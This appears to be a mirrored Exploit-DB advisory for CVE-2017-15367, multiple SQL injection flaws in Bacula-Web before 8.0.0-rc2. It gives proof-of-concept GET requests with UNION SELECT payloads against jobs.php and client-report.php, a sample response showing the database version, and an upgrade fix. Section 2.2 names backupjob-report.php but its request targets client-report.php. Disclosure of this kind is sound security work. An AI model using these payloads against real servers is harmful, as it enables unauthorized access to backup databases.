Bacula-Web < 8.0.0-rc2 - SQL Injection

  • 作者: Gustavo Sorondo
    日期: 2018-03-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44272/
  • # Exploit Title: Multiple SQL injection vulnerabilities in Bacula-Web
    # Date: 2018-03-07
    # Software Link: http://bacula-web.org/
    # Exploit Author: Gustavo Sorondo
    # Contact: http://twitter.com/iampuky
    # Website: http://cintainfinita.com/
    # CVE: CVE-2017-15367
    # Category: webapps
    
    1. Description
    
    Bacula-web before 8.0.0-rc2 is affected by multiple SQL Injection
    vulnerabilities that could allow an attacker to access the Bacula database
    and, depending on configuration, escalate privileges on the server.
    
    2. Proofs of Concept
    
    2.1) The /jobs.php script is affected by a SQL Injection vulnerability.
    
    The following GET request can be used to extract the result of "select
    @@version" query.
    
    Request:
    GET
    /jobs.php?status=0&level_id=&client_id=0&start_time=&end_time=&orderby=jobid&jobs_per_page=25&pool_id=11%27%20UNION%20ALL%20SELECT%20@@version%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23
    HTTP/1.1
    
    Response:
    HTTP/1.1 200 OK
    [...]
    <td>5.7.19-0ubuntu0.16.04.1</td>
    <td class="text-left">
     backupjob-report.php?backupjob_name=
    [...]
    
    Other parameters (eg. client_id) are also vulnerable, since there is no
    protection against SQL Injections at all.
    
    2.2) The /backupjob-report.php script is affected by a SQL Injection
    vulnerability.
    
    The following GET request can be used to extract the result of "select
    @@version" query.
    
    Request:
    GET
    /client-report.php?period=7&client_id=21%20UNION%20ALL%20SELECT%20NULL,@@version%23
    
    2.3) The /client-report.php is affected by a SQL Injection vulnerability in
    the "client_id" parameter.
    
    3. Solution:
    
    Update to version 8.0.0-RC2
    http://bacula-web.org/news-reader/bacula-web-8-0-0-rc2-released.html